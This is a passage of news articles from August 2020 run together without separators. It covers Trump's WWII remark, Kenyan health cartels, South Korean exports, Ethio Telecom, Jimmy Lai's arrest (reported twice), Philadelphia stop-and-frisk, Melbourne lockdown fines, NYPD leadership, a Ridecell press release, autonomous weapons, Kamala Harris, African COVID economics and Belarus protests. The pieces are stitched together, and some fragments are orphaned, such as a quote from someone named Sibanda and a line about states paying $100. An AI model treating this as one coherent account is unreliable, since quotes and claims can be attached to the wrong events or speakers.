ended in ... 1945. 'So to recap things we've learned since 2016 ... 45 hasn't read the Constitution, hasn't read the Bible (but likes to hold one upside down), and clearly never took a US History class. Or ... math? Cool cool, very cool.' Rep. Eric Swalwell wrote: 'The Second World War ended in 1945. Its cruel for @DonaldJTrumpJr and family to let @realDonaldTrump stand out there like this.' Star Trek actor George Takei warned against 'distorting history'. He wrote: 'The president thinks the Spanish Flu probably ended World War Two (!) because all the soldiers were sick. 'The atomic bomb dropped on Nagasaki fell 75 years ago yesterday, bringing a long and devastating war to a shattering, violent end. Remember history. Dont distort it.' Health CS Mutahi Kagwe has assured that the government is determined to rein in graft cartels that have infiltrated the ministry. Speaking Monday, the CS called for patience saying cartels are not beaten overnight. He noted that he is personally committed to the fight. On the issue of cartels in the ministry. I would like you to be patient during the fight. Cartels are not beaten overnight, they fight back, he said. I am personally committed to the changes in the ministry . You have no idea how bad it is ..you keep on mentioning the Health ministry. Do you know that blood from the ministry was found in Mogadishu? Blood and here you are taking it lightly. It is not an overnight activity, he added. Kagwe, who last month vowed to disband cartels, said he could not reveal the steps the government has taken against the cartels. I will not explain how we fight them, you cannot disclose your strategy to your enemy, he said. This comes amid growing concerns and calls from Kenyans for the accountability of billions of shillings raised to combat the COVID-19 pandemic. Some of the funds include Sh78.3 billion from the International Monetary Fund (IMF), Sh108 billion from the World Bank, Sh22.5 billion concessional loan from African Development Bank, Sh7.5 billion in form of grants from the European Union among others. We will not hesitate to expel people who are against the vision of the President. It is clear that this comrade is attacking the President when he says its wrong to compensate the white farmers. We support our President 100%, Sibanda said. Source: Xinhua| 2020-08-11 14:27:10|Editor: huaxia Video Player Close SEOUL, Aug. 11 (Xinhua) -- South Korea's export posted a double-digit fall in the first 10 days of this month owing to the continued negative impact from the COVID-19 outbreak, customs office data showed Tuesday. Export, which accounts for about half of the export-driven economy, amounted to 8.7 billion U.S. dollars during the August 1-10 period, down 23.6 percent from the same period of last year, according to Korea Customs Service. The daily average export reduced 12.7 percent in the 10-day period as the number of business days slipped by one day compared to a year ago. Import dipped 24.3 percent over the year to 10.6 billion dollars in the cited period, sending the trade deficit to 1.9 billion dollars. Semiconductor export shrank 6.8 percent for the first 10 days of August due to weak global demand, and shipment for oil products plunged 45.8 percent on cheap crude oil. Shipment for telecommunication devices such as smartphone dived 43.6 percent, but computer export jumped 62.3 percent as people preferred working at home and attending online classes amid the fear of virus infections. Export to China, South Korea's biggest trading partner, diminished 11.3 percent, and those to the United States, the European Union (EU), Vietnam, Japan and the Middle East all reduced in double figures. Enditem Not long ago Ethiopia invited foreign firms to buy stakes in Ethio Telecom to end its monopoly. Now according to The East African, a regional publication, the Ethiopian government has suspended the entry of foreign telecom infrastructure companies into the country. It appears that several infrastructure companies, including big names such as Helios Towers, were interested in entering Ethiopia to build new telecom infrastructure and to lease or rent it for companies entering the market. Ethio Telecom has responded angrily to this with a letter of complaint to the government, arguing that it has spent billions of dollars on telecom infrastructure across the country in recent years and wants the opportunity to rent it to the newly entering companies. By newly entering companies, Ethio Telecom is presumably referring to the fact that at the end of June, the national regulator announced that twelve companies had registered their interest in gaining a licence, including Safaricom, Vodacom, and Orange. The upshot of this is that, for now, the government has decided not to allow foreign telecom infrastructure companies to operate in the country, leaving a de facto monopoly in place, at least for infrastructure, unless incoming telecom operators build their own. There are, apparently, other issues relating to the privatisation process that are worrying Ethio Telecom, which has also written a letter to the Ethiopian Communication Authority about them, though it is not yet clear what these are. All of which leaves a number of questions unanswered. When will the two operator licences promised last year become available? Will a promised 40 percent stake in Ethio Telecom itself be sold? And exactly when will one of the last remaining telecoms monopolies in the world be open for business? Hong Kong Publisher, Democracy Advocate Arrested By VOA News August 10, 2020 Hong Kong media tycoon and staunch democracy advocate Jimmy Lai was one of seven people arrested Monday on charges of violating the new national security law imposed by China. The newspaper Apple Daily, which is published by Lai's Next Digital company, said the 72-year-old Lai was taken from his home on suspicion of colluding with a foreign country. The newspaper also said that at least one of Lai's son's was also arrested. Hong Kong police said seven men between the ages of 39 and 72 were arrested, but did not identify the men. Hours after Lai's arrest, more than 100 police officers raided the headquarters of Lai's Next Digital company. The newspaper livestreamed the raid on its website, showing officers roaming the newsroom as they rummaged through reporters' files. The newspaper said Lai was led through the newsroom in handcuffs during the raid. Lai is the highest-profile figure targeted by the new law since it went into effect in July. Under the new security law, anyone in Hong Kong believed to be carrying out terrorism, separatism, subversion of state power or collusion with foreign forces could be tried and face life in prison if convicted. Lai was already facing legal jeopardy for his pro-democracy activism. He was one of 15 activists arrested earlier this year and hit with seven charges, including organizing and participating in unauthorized assemblies and inciting others to take part in an unauthorized assembly. He and three other activists are also facing charges for "inciting" people to participate in an unauthorized rally in June to commemorate the bloody 1989 crackdown on pro-democracy students in Beijing's Tiananmen Square. Lai has also come under fire in Beijing after meeting with U.S. Vice President Mike Pence and Secretary of State Mike Pompeo in Washington in July of last year to discuss Hong Kong's political crisis. The Chinese foreign ministry lambasted the meeting as a "foreign forces' intervention." U.S. Secretary of State Mike Pompeo said Monday that he was "deeply troubled" by Lai's arrest. "Further proof that the CCP has eviscerated Hong Kong's freedoms and eroded the rights of its people," he wrote on Twitter. China's tightening grip on Hong Kong has become a major issue in the worsening relations between Beijing and Washington, along with trade, technology, the Trump administration's growing outreach to Taiwan, and its accusations against Beijing over the coronavirus outbreak, which was first detected in the central Chinese city of Wuhan late last year. Beijing sanctioned 11 Americans Monday, including Republican Senators Marco Rubio and Ted Cruz, in response to U.S. sanctions imposed last week on Lam and 10 other Hong Kong officials, including the city's current and former police chiefs, accusing them of suppressing the city's political freedoms. The new law was imposed by Beijing in response to the massive and often violent pro-democracy demonstrations that engulfed the financial hub in the last half of last year, and is the cornerstone of its increasing grip on the city, which was granted an unusual amount of freedoms when Britain handed over control in 1997. Hong Kong authorities last month disqualified 12 pro-democracy candidates, including prominent activist Joshua Wong, from running for legislative seats in elections that had initially been scheduled for September. Lam has since announced a one-year delay to the elections, citing a surge of coronavirus cases. Four young activists between the ages of 16 and 21 who belonged to a disbanded pro-independence group were arrested nearly two weeks ago on secessionist charges. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Police officers guard the Municipal Services Building as hundreds protest racism and police violence in Center City Philadelphia on July 4, 2020. Racist policing patterns have been a central theme of protests in Philadelphia. Read more Its been nearly a decade since civil-rights lawyers sued Philadelphia police over unjustified stops and frisks, mostly of Black citizens and they say the racial disparities are still glaring. Black residents are 50% more likely than whites to be stopped without reasonable suspicion and 40% more likely to be frisked without cause, they state in their latest semiannual monitoring report, required by the consent decree in the case and submitted to a federal judge in July. Now, as the city has acknowledged the need for reform, advocates are pushing for a new set of far-reaching changes, including department-wide training and accountability measures, intensive interventions in problem police districts, and, most notably, an expanded 311 system that would bring non-police responders to address quality-of-life complaints. Mayor Jim Kenneys spokesperson Mike Dunn said the administration had not committed to specific changes. But Dunn said in an email, The events of 2020 have made it clear that we need to shift the focus of our ongoing reform efforts centering the goal of racial equity at the forefront. This includes but is not limited to pedestrian stops. Our work will also encompass vehicular stops and racial disparities in health care and social services. Kenney campaigned on ending illegal stop-and-frisk practices, and Dunn noted that Philadelphia had reduced baseless pedestrian stops by 92% since 2016. That still leaves around 10,000 stops a year without documented reasonable suspicion. Last fall, the Police Department began rolling out a graduated disciplinary system for unjustified stops. So far, 247 verbal warnings have been given to police officers, and 171 more to supervisors. No officers have received formal discipline. Staff Inspector Sekou Kinebrew, a police spokesperson, said some of the stops might have been constitutional but were insufficiently documented. Across all pedestrian stops, with or without proper justification, the hit rate for finding drugs or guns was about 4% last year, according to an analysis for the plaintiffs, represented by the ACLU and the civil-rights law firm Kairys, Rudovsky, Messing & Feinberg. Philadelphia police made nearly 77,000 pedestrian stops in 2019. In New York City, a police department five times larger than Phillys made just 13,459 stops last year, with a hit rate of about 34%. Racial disparities compound the problem. Black residents are 44% of Philadelphias population but account for 71% of pedestrian stops. Lawyer David Rudovsky said the city has long tried to explain that by pointing to different crime rates in various neighborhoods. The non-racial reasons we might apply dont explain the racial disparities, he said. The conclusion is that there is racial bias going on in terms of who is being stopped and frisked. This has been an issue in the city for 10 years. READ MORE: Philadelphia police are searching more cars for marijuana but finding less of it, critics say Dunn disputed that there is clear bias. While the city acknowledged that in 2019 there was a significant association between detainee race and the likelihood of being stopped, he said, it did not find that association in previous reviews. At a City Council hearing in June, City Solicitor Marcel Pratt went further, acknowledging bias among some officers: We know that the truth is that some police do target people of color, particularly Black men, for stop and frisk, he said. According to the analysis, about 2,600 officers made stops, and of them just 260, or 10%, accounted for 50% of all stops. Sixteen of the 50 most active officers were in one compact police service area in the 24th District in Kensington. READ MORE: Black and Blue: Explore 190 years of police brutality in Philadephia The reports produced in response to the federal consent decree do not track vehicle stops, which reached their highest number in at least five years in 2019, peaking at more than 30,000 per month in August. After a series of Inquirer articles raised questions about the high numbers of stops of Black drivers and the Defender Association of Philadelphias accusation that police were routinely lying about smelling marijuana to justify vehicle stops the number plummeted. After the Inquirer story appeared, PPD leadership directed commanders to clarify and reinforce vehicular stop protocols, ensuring that the protocols are more uniformly applied across all districts. This led to a reduction in the number of such stops, Kinebrew said. The number of vehicle stops was about 16,000 a month, and pedestrian stops were close to 3,000 per month, before the coronavirus pandemic hit Philadelphia and curtailed stops even more sharply. But the racial gap persisted: Black people accounted for more than 75% of those stopped and searched or frisked as of March, the defender found in a recent analysis. A new study of Philadelphia police stops by Villanova University sociologist Lance Hannon and Philadelphia Bail Funds Malik Neal attempts to settle the question of whether bias is behind the disparity or whether the numbers are skewed for other reasons, such as localized crime trends. It examined the number of stops during daylight and those under the veil of darkness, when race is harder to discern and found the relative odds of a Black motorist being stopped are about 11% less under the veil of darkness. Their conclusion: Regardless of the racial composition of the surrounding area, Black males were more likely to be stopped when sunlight increased the visibility of the drivers race than were white males. A Melbourne man who was caught breaking lockdown restrictions claimed he needed to leave his home to escape his housemate's loud evening with a girlfriend. Revealing the latest bizarre excuses given to Victoria Police, officials said they found the man sitting in his car in a Maribyrnong car park - more than 5km from his home - at 7.30pm on Sunday. He told officers he left the house to get some 'peace and quiet' because his housemate had a partner over and they were being 'too loud in the bedroom'. His serenity cost him $1,652 for breaching COVID-19 restrictions. Other breaches included a man who was found at a friend's house 'practicing to become a DJ'. The Melburnians were just of 202 residents to be issued a fine in the past 24 hours for breaking strict Stage 4 lockdown rules. The breaches come as the state records another 19 deaths and 331 new cases. Police issued 202 fines to Melburnians for breaking lockdown rules on Monday (pictured, a woman is seen walking through one of Melbourne's deserted laneways during lockdown) A couple were fined after they were wandering around shops in Meadow Heights after curfew and claimed they were out to go get a drink (pictured, a Melbourne pub before lockdown) Police also fined a couple wandering around the shops in Meadow Heights after curfew. They claimed they were out to go get a drink. Three people were fined after they shared a video of themselves going out at 2.30am on Sunday to get a meal from a fast food restaurant. Multiple people were also caught at convenience stores in Melbourne buying food, cigarettes or milk outside of the curfew hours. Last Sunday Melbourne was placed under a police enforceable curfew of 8pm until 5am until at least September 13 as part of a Stage 4 lockdown. Melburnians can only leave their homes between these hours for work, care-giving, medical reasons or on compassionate grounds. The city's 4.9million residents have also been banned from travelling more than 5km from home to do their shopping - and only one person from each household can leave at any time. Since the city was placed in a harsher stage-four lockdown premier Dan Andrews has promised to crackdown on those disobeying draconian lockdown rules. He announced on Wednesday there would be more police and Australian Defence Force personnel out in force ensuring residents are abiding by the directions of the Chief Health Officer. Melbourne was placed under Stage 4 lockdown last Sunday for six weeks in a bid to slow the spread of COVID-19 (Pictured: Police patrolling the streets on Sunday) Other breaches included a man who was at a friend's house practicing to become a DJ (stock image) Huge fines of up to $19,826 for individuals and $99,132 for businesses will apply to anyone caught breaking the rules. 'Those doing the wrong thing will cop a fine from Victoria Police, because the only way to beat this deadly virus is if we all follow the rules,' Mr Andrews said. Victoria Police Chief Commissioner Shane Patton issued a warning to anyone refusing to follow the rules. 'If you're not doing the right thing, we will not hesitate to issue infringements, to arrest you, to detain you where it's appropriate.' Though women make up 18 percent of the departments 36,000 uniformed officers, a female officer has never been appointed police commissioner, chief of department, chief of detectives or chief of patrol in the 175-year history of the agency. (Alice McGillion, a civilian, briefly served as first deputy commissioner in 1989.) The scarcity of women in the upper echelons of the police department is not unique to New York. While women are half the population of the United States, they make up 12 percent of the nations police officers, less than 10 percent of police supervisors and about 3 percent of police chiefs or executives, according to the Bureau of Justice Statistics. Women have led police departments in big cities like Atlanta, Philadelphia and Washington, but agencies in cities like Chicago and Los Angeles have only been led by men. The lawsuit filed in New York City said that there is evidence that gender is a factor in decisions about discretionary promotions. Women made up 15 percent of front-line supervisors promoted on the basis of exams, but less than 10 percent of the managers promoted at the police commissioners discretion, according to a department report prepared in July. Only 39 of 416 officers who held ranks above captain in the New York Police Department in July were women, the report said. Five women, including Ms. Pollock, have come close to reaching the top rank, attaining the rank of three-star chief. (Only the chief of department, the highest-ranking uniformed officer, has four stars.) But by the end of the month, all but one of those women will have retired. Ridecell Mobility Platform Provides Station-based, Carsharing and Car Rental Service in Stockholm SAN FRANCISCO, Aug. 11, 2020 /PRNewswire/ -- Ridecell Inc., the leading platform provider for mobility operators, today announced that KINTO Share, a shared mobility program for Toyota Sweden, has selected the Ridecell High-yield Mobility Platform to run their mobility operations. The Ridecell platform runs all aspects of the service, including customer verification, vehicle lock and unlock, service management, and yield monetization analytics. In addition, the Ridecell platform automates business and operations, including fleet servicing and maintenance to ensure a top condition fleet and deliver high-quality customer experiences. "The pandemic has created an unprecedented demand for safe, clean, flexible vehicle rentals," said Aarjav Trivedi, CEO of Ridecell. "Companies with large fleets can unlock new revenues by leasing their vehicles for high-demand services such as deliveries. Toyota, long associated with disrupting automobile manufacturing, is helping to lead the industry-wide evolution of Mobility-as-a-Service (MaaS). We are excited to offer our high-yield mobility platform and help Toyota Sweden optimize fleets for new business opportunities." KINTO Share offers the option to rent vehicles for any duration required, from minutes to months. KINTO Share offers a fixed price for the selected time, plus an additional kilometer fee. Vehicles are picked up and returned to designated stations based in Stockholm. Stockholm's KINTO Share officially opened to public use on June 22, 2020, with plans to expand to more cities in Sweden. While shared mobility has been disrupted by the COVID-19 pandemic, Ridecell has seen continued growth, especially in the car sharing market. Since March, Ridecell has added ZITY Paris, GIG Seattle, and now KINTO Share in Stockholm as new customers or customer expansions. Cities across the world are actively looking for transportation alternatives as the world emerges from lockdown. Shared mobility operators are turning to Ridecell because the company's High-yield Mobility Platform offers the agility to quickly adjust to market demand while maximizing fleet utilization and profitability. Operators can switch from car sharing during the day to ride hailing at night or to monthly vehicle subscriptions as market needs shift. Ridecell offers the world's only end-to-end platform for all types of mobility, including digital sales, private leases, short-term subscriptions, digital access to commercial fleets, and shared mobility for consumers. The platform is designed to create high-yield mobility businesses for greater profitability. For more information, visit www.ridecell.com About Ridecell Ridecell helps companies build and operate profitable mobility businesses. With the company's High-yield Mobility SaaS toolkit of intelligent software, business services, and ecosystem partners, Ridecell customers maximize three key profit drivers: customer experience, fleet utilization, and operational efficiency. Founded in 2009, today, Ridecell powers some of the most successful mobility services in cities across Europe and North America. These services include ZITY from Ferrovial and Groupe Renault, Gig Car Share from AAA, and Blu Smart EV Ride sharing Service. Ridecell is headquartered in San Francisco, California, with more than 170 employees in offices across the globe. Media Contact: Natalee Gibson Tel: 415-682-9292 Email: press@ridecell.com Logo - https://mma.prnewswire.com/media/431959/RideCell_Logo.jpg States would be on the hook for $100 of the $400 promised by the president's executive order. Developments in lethal autonomous weapons should have us all concerned, says Dr Michael Richardson. Credit: Shutterstock An armed weapons system capable of making decisions sounds like it's straight out of a Terminator movie. But once lethal autonomous weapons are out in the world, there could be no turning back. "It's very possible that we can't put the genie back in the bottle with lethal autonomous weapon systems," says Dr. Michael Richardson, who was recently named a Top 5 Humanities Researcher by the ABC for his work on drone technologies. Dr. Richardson, who researches political violence and emerging technologies, says developments in lethal autonomous weapons are accelerating radically. He says these systems are not yet deployed operationally, but there are still several reasons why we should all be concerned. "Most of the major militaries around the world are developing lethal autonomous weapons of different kinds, sometimes even in partnership with big tech companies," says the Senior Research Fellow from UNSW Arts & Social Sciences. "It's a big questionwhat does it mean to hand over some of the decision making around violence to machines, and everybody on the planet will have a stake in what happens on this front." Military technologies that are close to being autonomous are already in the field. With the help of drones, distant battles can increasingly be fought from control stations full of screens and interfaces, he says. The real transformation, however, is in predicting threatsand eliminating thembefore they arise. "With the US military, in particular, lethal drone strikes are carried out based on a determination of whether someone or some group of people might become a threatthat is, they might do [harm] in the future," he says. "If your threat is someone pointing a gun in your face, the threat is pretty imminent. But someone driving a car around in rural Afghanistan with a rice cooker in the back and a bag of nails you might have some data points that would suggest the person is going to create an improvised explosive device that could put troops at risk. In that instance, the threat is several steps removed from what you're observing. The person might also just have a new rice cooker and a broken fence to fix. So, you have the potential to kill someone based on a prediction about what might come about, rather than based on anything they're specifically doing at the time." While militaries are turning to machine-learning algorithms to identify threats before they happen, they're yet to hand over control to the machine. But Dr. Richardson says, that isn't too far a leap. "The move towards killing that is intensely predictive is certainly happening, and it's a very scary development," he says. "We would have the technological capacity in many instances to take human decision making out of the process and to push those predictions, to the forefront. We haven't necessarily granted decision making power to those technologies to fire a weapon, but the threshold that needs to be crossed is not so much a technological one at this point, it's a moral one or a strategic one." Regulating lethal autonomous weapons Dr. Richardson says global governance and arms control are among several measures we need to take to restrict lethal autonomous weapons. "While that didn't stop the development of nuclear weapons, widespread public opposition could help to hold the development of lethal autonomous weapon systems, or to slow down the production of the technology at least," he says. "But at the moment, lethal autonomous weapon systems are not currently regulated under the Convention on Certain Conventional Weapons. In fact, there's not even an accepted and agreed definition of what a lethal autonomous weapon system is." He says Australia is "infrastructurally complicit" in the development of such technologies with its partnerships with the US military and could push other countries to be more accountable. "We might claim that there's little we can do to influence the main players in this space, like the US, China and Russia. Nevertheless, Australia is part of that world system. While it's happening 'over there' in terms of kinetic violence, we're an integral part of this," he says. "The kinds of methods of surveillance and control [that] start in military spaces often expand elsewhere, and we've certainly seen that since 9/11 with surveillance in particular." Dr. Richardson believes the widespread public opposition to nuclear weapons, as well as facial recognition software, shows that it is still possible to slow the development of lethal autonomous weapons. "We've gone from widespread adoption and development of facial recognition technologies to major tech companies undertaking a moratorium on their development. That's a result of sustained public pressure, but also critical pressure from academics and from advocacy groups, who have shown they're deeply problematic and result in greater injustice rather than more justice and safety. If we can create that push around facial recognition, perhaps we can also push against lethal autonomous weapons. They rely on similar kinds of technologies of automatic detection and recognition but make far more disastrous choices than whether a person gets a job or not, whether they're allowed inside a venue or not. They might be choices over life and death." Former Vice President Joe Biden on Tuesday announced that he has selected Sen. Kamala Harris as his running mate, fulfilling the hopes of her supporters who have long boosted her as a dream addition to an eventual Biden ticket. But the pick doesnt come without baggage. The pairs brutal clash over Bidens record on race during the first Democratic debate last summer has left some of his key advisers still smarting over what they describe as a lack of remorse for the sharp attack. Harris has also faced criticism for her record on criminal justice, and she has been admonished by some as too politically ambitious, a label some have decried as sexist. Here are five things to know about the woman who could become vice president. Her prosecutorial background has been a flashpoint Then-Attorney General Kamala Harris hold a news conference at the Capitol in Sacramento in July 2012. Before she was elected to the Senate in 2016, Harris spent 26 years as a prosecutor in her home state of California, rising through the ranks to become district attorney in San Francisco before being elected state attorney general in 2010. But her lengthy prosecutorial record is both one of her most prominent credentials and the source of distrust among liberals who scoffed at Harris identifying herself as a progressive prosecutor. Since the campaign, however, Harris has emerged as one of the leading voices in Congress on criminal justice reform, co-authoring Democrats sweeping police reform legislation earlier this summer in the wake of national protests over police brutality. Harris selection marks a rebound after a stinging debate attack Harris lobbed one of the most forceful attacks of the primary at Biden when she went after his record on school desegregation and busing, as well as his warm words for segregationists in Congress. In the immediate aftermath of the viral exchange, it appeared to propel Harris to the front of the crowded primary field, though the political boost was ultimately short-lived when Harris acknowledged she had essentially held the same view on busing as he did. The attack also made her the target of backlash from Bidens allies and as recently as March, Bidens wife Jill described the moment as a punch to the gut. Story continues But Harris has been a loyal Biden surrogate since she endorsed him back in March, hosting fundraisers and roundtables with the vice president and his wife and defending him on television. She was close with Bidens late son Thinking of @JoeBiden, @DrBiden and the entire Biden family today. Beau Biden was my friend. We were AGs together, and you couldnt find a person who cared more deeply for his family, the nation he served, and the state of Delaware. Four years after his passing, I still miss him. pic.twitter.com/b7lP3TwxYq Kamala Harris (@KamalaHarris) May 30, 2019 The senator formed a close relationship with Bidens late son, Beau, when he served as the Delaware attorney general while Harris was attorney general of California. In her 2019 memoir, Harris called Beau Biden, who died of brain cancer in 2015, an "incredible friend and colleague," and wrote that she sometimes spoke with the younger Biden as many as multiple times a day in difficult moments. Biden and his allies have cited Harris friendship with Beau as a key reason her debate broadside stung as much as it did. I wasnt prepared for the person coming after me the way she came after me. She knew Beau, she knows me, Biden told CNN last year. Our son, Beau, spoke so highly of her and you know, and how great she was, Jill Biden said at the same fundraiser where she lamented Harris debate blow. Not long before the debate moment, Harris had marked the fourth anniversary of Beaus death on Twitter, writing: I still miss him. Harris is the daughter of immigrants From left, then-California Supreme Court Chief Justice Ronald M. George administers the oath of office to then-San Francisco District Attorney Kamala Harris as her mother, Dr. Shyamala Gopalan, holds a copy of the Bill of Rights. Her mother Shyamala was the daughter of an Indian diplomat and worked as a cancer researcher, while Harris father Donald was born in Jamaica and taught economics at Stanford. The pair met during civil rights protests at UC Berkeley in the 1960s. They divorced when Harris was 7, and Harris and her sister Maya were raised by their mother, whom the senator has cited as a foundational influence in her life. She made a name for herself with relentless cross examinations of Trump officials Once she arrived in the Senate in 2017, Harris wasted no time raising her national profile, going viral for her grillings of White House appointees from former Attorney General Jeff Sessions, to Supreme Court Justice Brett Kavanaugh and Attorney General William Barr, to CIA Director Gina Haspel. In May, Harris campaign surrogate Bakari Sellers posited that Harris elite interrogation skills would be put to good use on a Biden ticket. What I would take from that for choosing a vice president is shes a really skilled debater, he said of her debate confrontation with Biden, and shed kick Mike Pences ass. Source: Xinhua| 2020-08-11 21:25:04|Editor: huaxia Video Player Close ADDIS ABABA, Aug. 11 (Xinhua) -- Strong global collaboration is urgently needed to contain the socioeconomic and healthcare impacts of the COVID-19 pandemic, Executive Secretary of the United Nations Economic Commission for Africa (ECA), Vera Songwe, said on Tuesday. Speaking exclusively to Xinhua, the ECA chief stressed that the global community should augment collaboration in a bid to tackle the spread of the virus as well as the adverse socioeconomic impacts of the pandemic. "Since none of us really knows the true extent and impact of the pandemic, we need strong global collaboration to be able to analyze and assess the impact and also study the virus as it's a new virus and we don't know it well enough," Songwe told Xinhua. As the COVID-19 pandemic rapidly spreads across the African continent in recent weeks, the ECA Executive Secretary also stressed that the COVID-19 pandemic is now both a major economic as well as healthcare crisis across Africa. "Africa was supposed to grow at 3.2 percent, but we are now estimating that growth on the continent will be, if we are lucky, somewhere around closer to 0 percent, even though nobody can predict this thing yet because we are getting different numbers every day," she said. Noting a recent COVID-19 impact assessment study that was conducted by the UNECA, Songwe also stressed that the COVID-19-inflicted lockdown costs the African continent about 69 billion U.S. dollars per month in terms of GDP. "It hits us first economically, costing us 69 billion U.S. dollars per month because we locked up to ensure that we could contain the health crisis of the COVID-19," she added. As of Tuesday, the number of confirmed COVID-19 cases across the African continent has surged to 1,055,964 across the continent as the death toll from the pandemic rose to 23,582, according to the latest figures from the Africa Centers for Disease Control and Prevention (Africa CDC). Some 744,438 COVID-19 patients have also recovered from the virus across the continent so far, according to the Africa CDC. "The COVID-19 pandemic is very expensive for a continent that could not afford it," Songwe said, as she emphasized the greater economic impact of the COVID-19 pandemic-inflicted lockdown on African economies. The adverse economic impacts of COVID-19 on African countries that were essentially dependent on remittance, tourism as well as the travel and hospitality sector. Songwe also emphasized the urgent need to revive some of the economic sectors from the adverse impacts of COVID-19 so as to mitigate the economic impacts of the pandemic. "Our economies have been severely hit. So we need to find ways of ensuring that we can at least keep some of the economic sectors open while managing the health pandemic, as this remains the tension we have on the continent," Songwe said. Noting that the African continent "has done beyond its expectations" in the fight against the pandemic, Songwe also underscored the need for urgent fiscal resources so as to mitigate the greater economic impact of the COVID-19-induced lockdowns on African economies. Enditem Hong Kong police raid pro-democracy newspaper on the day press freedom died Media tycoon Jimmy Lai and 9 others arrested Monday on charges of 'collusion with foreign forces' Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Media tycoon Jimmy Lai and other top executives of Hong Kongs largest pro-democracy daily newspaper, Apple Daily, were arrested during a police raid under the new national security law on Monday morning over accusations of collusion with foreign forces. In addition to the arrests, police reportedly confiscated documents and searched the Apple Daily newsroom for multiple hours. Staff livestreamed the raid. The raid involved several hundreds of officers, according to a statement released by Apple Daily. The newspaper has often been critical of the Chinese and Hong Kong governments. The Hong Kong Police Force have blatantly bypassed the law and abused their power, despite claims about acting according to the rules, the Apple Daily statement argues. They have, for instance, ignored the limitation of the search warrant and rifled through news materials, as well as restricting press members from reporting and obstructing a news organization from operating. The statement stresses that in the face of the illegal, unreasonable and barbaric tactics, the staff of the newspaper will remain fearless and continue speaking the truth amid persecution. Hong Kong Police claimed in a statement that nine men and one woman between the ages of 23 and 72 were arrested Monday on suspicion of breaches of the national security law, which went into effect this summer. The offenses include collusion with a foreign country/external elements to endanger national security. On Tuesday, Hong Kong Police explained on Twitter that it executed a court-issued warrant and searched multiple locations, including the offices of a media organisation, to gather evidence for alleged breaches of the national security law. According to The Guardian, Apple Daily staffs videos show officers searching through boxes of documents, some of which were confiscated. The United Kingdom-based news outlet also reports that police barred international news organizations such as Reuters, Agence France-Presse and the Associated Press from attending a press conference related to the search. The Hong Kong Police claim that the raid was part of a [l]awful and rightful criminal investigation and added that the officers involved in the raid avoided journalistic materials. With respect for press freedom, #HKPolice facilitated reporting work at scene and made a pilot arrangement to allow 15 media organisations (print, TV & radio) to enter the cordoned area to conduct live coverage for higher transparency, the statement reads. Accompanied by the staff, investigators were mindful of avoiding journalistic materials. Its an open and transparent process being live streamed to the world. Regardless of ones background, were duty-bound to enforce the law. Offenders are to be brought to justice. Lais two sons were released on bail Tuesday. According to The South China Morning Post, 39-year-old Ian Lai Yiu-yan left the Tseung Kwan O Police Station around 7:30 p.m. His older brother, 42-year-old Timothy Lai Kin-yang, was released from the Cheung Sha Wan Police Station around 10 p.m. According to a Tuesday evening report from the Hong Kong-based newspaper, Lai was yet to be released from the Mong Kok Police Station and his legal representatives were seen leaving the police station just before 9:30 p.m. A police source told the outlet that those arrested would possibly be released on bail one by one. The new national security law has faced scrutiny worldwide as controversial actions towards pro-democracy advocates have not been uncommon under it. The law states that the freedom of speech and press are protected, but police action has seemingly contradicted that claim, Apple Daily argued in its statement. Beijings national security law for Hong Kong claims to guarantee residents freedom of speech, of the press and of publication, but the authorities actions have proved otherwise, Apple Dailys statement said. Raiding a news institution is a severe attack on press freedom and should not be tolerated in a civilized society. Lai, the most prominent person arrested on Monday who also holds U.K. citizenship, could face three to 10 years in prison. He could even face life in prison if his alleged crimes are deemed of a grave nature, according to The Guardian. Lai is the founder of the Apple Dailys publishing company, Next Digital, and also the founder of the Asian clothing brand Giordano. He is one of the leading voices in Hong Kongs pro-democracy camp. Since the raid, shares of Next Digital have soared as investors have poured into the stock to show their solidarity with the organization. Unrelated to the newspaper, pro-democracy activist Agnes Chow was also arrested under the new law, bringing the total to 10 pro-democracy advocates who were arrested Monday. I think you can say that [Monday] is the day press freedom officially died, and it didnt die a natural death, Keith Richberg, the head of Hong Kong Universitys media school, told Radio Television Hong Kong. It was killed by Beijing, [Hong Kong Chief Executive] Carrie Lam and Hong Kong police. Mondays events followed the Hong Kong governments decision last month to delay the parliamentary election set for September as anger grows toward the current government. Critics have accused the government of using the ongoing coronavirus pandemic as an excuse to prevent people from voting. Last month, authorities in Hong Kong banned 12 pro-democracy candidates from running in the elections. Earlier this month, six arrest warrants were issued for pro-democracy advocates who have voiced opposition towards the communist rule Nathan Law, Wayne Chan Ka-Kui, Honcques Laus, Samuel Chu, Simon Cheng and Ray Wong Toi-Yeung on accusations of violating the national security law. In 1997, China agreed on a one country, two systems arrangement to allow certain freedoms for Hong Kong when it received the city back from British control. The security law undercuts this promised autonomy as a special administrative region, which is set to expire in 2047. "With this law being superior to all local law and the Basic Law (Hong Kong's constitution) itself, there is no avenue to challenge the vague definitions of the four crimes in the law as violating basic rights," Michael C. Davis of the Washington D.C.-based think tank the Woodrow Wilson Center told NPR. "Now people take their rights subject to the interest of the state." On Twitter Monday, U.S. Secretary of State Mike Pompeo explained that he is deeply troubled by reports of Lais arrest. He called the national security law draconian and further proof that the Chinese Communist Party has eviscerated Hong Kongs freedoms and eroded the rights of its people. After the approval of the national security law, U.S. President Donald Trump signed legislation in July to impose sanctions on Chinese officials, businesses, banks and other entities that are involved in extinguishing Hong Kong's freedom. China has since closed a consulate in Houston as relations between the two countries is becoming increasingly strained. On Monday, China sanctioned Republican Sens. Ted Cruz of Texas, Marco Rubio of Florida and Josh Hawley of Missouri among eight other U.S. politicians who have spoken out against the new law national security law. "Last month #China banned me. Today they sanctioned me. I don't want to be paranoid but I am starting to think they don't like me, Rubio tweeted on Monday. Hawley also responded to the sanctions via Twitter on Monday. "China is sanctioning me in retaliation for speaking out against #ChineseCommunistParty and defending America's interests. Retaliate all you want. I'm not backing down, Hawley tweeted. MINSK -- Belarus has witnessed a fourth night of protests in Minsk and elsewhere against the reelection of Alyaksandr Lukashenka in a vote that protesters say was rigged. In several parts of Minsk, groups of hundreds of people formed human chains on August 12 to protest as people in cars honked horns and slowed to a crawl to block police vehicles. Similar protests were held in at least five other cities, according to the Belarusian rights NGO Vyasna (Spring). On Minsk's Dzerzhinsky Avenue, people stood on balconies, clapping in an expression of support, AP reported. A group of riot police arrived and fired rubber bullets at them. An RFE/RL journalist and his wife were stopped as they were driving in that area by police. Vitaly Tsyhankov was pulled from the car by police, beaten, and thrown to the ground, before being detained, his wife said. She was also detained. Earlier, 